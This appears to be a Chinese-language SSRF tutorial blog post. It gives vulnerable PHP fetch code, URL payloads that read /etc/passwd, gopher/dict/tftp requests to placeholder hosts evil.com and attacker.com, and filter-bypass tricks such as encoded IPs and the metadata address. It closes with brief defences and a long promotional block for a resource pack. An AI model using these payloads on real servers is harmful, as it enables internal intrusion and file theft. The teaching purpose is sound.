一、啥是SSRF?听我BB两句
SSRF (Server-Side Request Forgery,服务器端请求伪造),这货就像个内鬼,让你的服务器成了黑客的肉鸡,替他去访问那些原本外网摸不着的内部系统。简单说,就是黑客操控你的服务器,去干一些它本不该干的事情。
为啥要搞SSRF?因为内部系统往往藏着更多秘密,而且防护通常不如外网严密。一旦得手,嘿嘿嘿…
二、SSRF漏洞:隔墙有耳,服务器变间谍
SSRF漏洞的根源,在于服务端提供了从其他服务器获取数据的“贴心”功能,但是!没有对目标地址进行严格的过滤和限制,这就给了黑客可乘之机。
想象一下,黑客让你的服务器去请求一个恶意URL,获取网页内容、加载图片、下载文件… 你的服务器就成了黑客的傀儡,在内网横行霸道。
三、哪里能挖到SSRF的“矿”?
SSRF漏洞就像捉迷藏,藏得很深,但只要掌握技巧,就能把它揪出来。
1、“一键分享”背后的秘密:分享功能看似方便,但如果服务端没对分享的URL进行严格校验,就可能存在SSRF。
2、“转码神器”的潜在危机:为了让网页在手机上更好地显示,转码服务应运而生。但如果转码过程中存在漏洞,黑客就能利用SSRF搞事情。
3、“在线翻译”的暗藏杀机:在线翻译功能需要从URL获取文本内容,如果服务端没做好安全措施,黑客就能让服务器去访问恶意地址。
4、“收藏夹”里的猫腻:文章收藏功能需要获取URL的标题和内容,如果服务端没对URL进行限制,就可能存在SSRF漏洞。
http://title.xxx.com/title?title=http://title.xxx.com/as52ps63de
5、“神秘API”的风险:一些未公开的API,如果需要调用URL来加载内容,也可能存在SSRF漏洞。
6、“图片加载”的陷阱:加载远程图片看似平常,但如果服务端对图片URL没有严格限制,就可能被黑客利用。
(别以为加载自家服务器的图片就万事大吉! 为了更好的用户体验,开发者可能会对图片进行处理,这就可能引入SSRF漏洞。)
7、从URL关键字入手:用Google搜索这些关键词,可能会有意想不到的收获:
share
wap
url
link
src
source
target
u
display
sourceURl
imageURL
domain
一句话总结: 只要是服务器会从自身发起请求的功能点,而且你能控制请求的地址,就可能存在SSRF漏洞!
四、PHP:SSRF漏洞的“高发地”
SSRF漏洞不挑语言,但PHP由于其特性,更容易出现SSRF漏洞。下面列举几个PHP中常见的“背锅侠”函数:
1、file_get_contents:
这个函数可以从URL获取内容,如果没做好安全限制,就可能被黑客利用。
<?php
if (isset($_POST['url']))
{
$content = file_get_contents($_POST['url']);
$filename ='./images/'.rand().';img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src="".$filename.""/>";
}
echo $img;
?>
2、sockopen():
这个函数会建立TCP连接,传输原始数据,如果目标地址可控,就可能被用于SSRF攻击。
<?php
function GetFile($host,$port,$link)
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno)
";
} else {
$out = "GET $link HTTP/1.1
";
$out .= "Host: $host
";
$out .= "Connection: Close
";
$out .= "
";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
3、curl_exec():
cURL是另一个常用的数据获取方式,如果没做好安全配置,同样可能被用于SSRF攻击。
<?php
if (isset($_POST['url']))
{
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
温馨提示:
一般情况下PHP不会开启fopen的gopher wrapper
file_get_contents的gopher协议不能URL编码
file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
curl_exec() 默认不跟踪跳转,
file_get_contents() file_get_contents支持php://input协议
五、SSRF的“七十二变”:URL伪协议
一旦发现SSRF漏洞,赶紧试试这些URL伪协议,说不定有惊喜!
file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload
1、file协议:
用它可以读取服务器上的文件,敏感信息一览无余!
http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini
2、dict协议:
可以用来探测端口,获取服务信息。
http://example.com/ssrf.php?dict://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 31126)CLIENT libcurl 7.40.0
3、sftp协议:
可以进行SSH连接,想想就刺激!
http://example.com/ssrf.php?url=sftp://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2
4、ldap协议:
可以访问LDAP目录服务,获取用户信息。
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
5、tftp协议:
可以进行文件传输,上传恶意文件。
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3
6、gopher协议:
一个强大的协议,可以构造各种payload,实现各种攻击。
http://example.com/ssrf.php?url=http://attacker.com/gopher.php
gopher.php (host it on acttacker.com):-
<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?>
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest
六、SSRF的“七宗罪”:危害有多大?
- 内网扫描:探测内网端口,获取服务banner信息,暴露内网架构。
- 攻击内网应用:对内网应用进行溢出攻击,控制内网服务器。
- 指纹识别:通过访问默认文件,识别内网应用类型,为进一步攻击做准备。
- 攻击内外网Web应用:利用GET参数,进行SQL注入、Struts2漏洞攻击,获取敏感数据。
- 读取本地文件:利用file协议,窃取敏感信息。
- 协议探测:利用各种协议,探测内网服务,扩大攻击面。
http:192.168.64.144/phpmyadmin/
file:///D:/www.txt
dict://192.168.64.144:3306/info
ftp://192.168.64.144:21
七、见招拆招:SSRF绕过术
有些网站做了限制,想方设法阻止SSRF攻击,但道高一尺魔高一丈,黑客总能找到绕过的方法。
一、常见绕过姿势
1、域名限制?用@来搞定!
http://www.aaa.com@www.bbb.com@www.ccc.com
2、短网址:让长URL无处遁形!
比如:https://dwz.cn/
3、进制转换:迷惑你的双眼!
127.0.0.1
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433
4、特殊域名:DNS解析的秘密!
127.0.0.1.xip.io
5、[::]:绕过localhost的利器!
http://[::169.254.169.254]
6、句号大法:你以为我不知道你是127.0.0.1?
127。0。0。1
7、CRLF注入:HTTP头部任你玩!
example.com/?url=http://eval.com%0d%0aHOST:fuzz.com%0d%0a
8、封闭字母数字:让你眼花缭乱!
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ
http://[::①⑥⑨。②⑤④。⑯⑨。②⑤④]
二、常见限制及绕过
-
只允许访问www.xxx.com?
-
用@绕过:http://www.xxx.com@www.xxc.com
2. 不允许访问内网IP? -
短网址
-
特殊域名
-
进制转换
3. 只允许HTTP协议? -
302跳转
-
短地址
-
八、亡羊补牢:SSRF防御指南
- 过滤返回信息:验证远程服务器的响应是否符合预期,防止恶意数据返回。
- 统一错误信息:避免泄露服务器端口状态,增加攻击难度。
- 限制端口:只允许访问HTTP常用端口,缩小攻击面。
- 黑名单IP:禁止访问内网IP,防止内网渗透。
- 禁用协议:只允许HTTP和HTTPS请求,杜绝其他协议带来的风险。
黑客/网络安全学习包
资料目录
-
成长路线图&学习规划
-
配套视频教程
-
SRC&黑客文籍
-
护网行动资料
-
黑客必读书单
-
面试题合集
👇👇👇
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取,或微信扫描下方二维码领取~
**读者福利 |**
优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 **(安全链接,放心点击)**
👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。****(全套教程文末领取哈)
👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!****(全套教程文末领取哈)
👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
👉5.黑客必读书单👈
👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或点击链接免费领取~
**读者福利 |**
优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 **(安全链接,放心点击)**
结语
网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。
特别声明:
此教程为纯技术分享!本书的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失!!!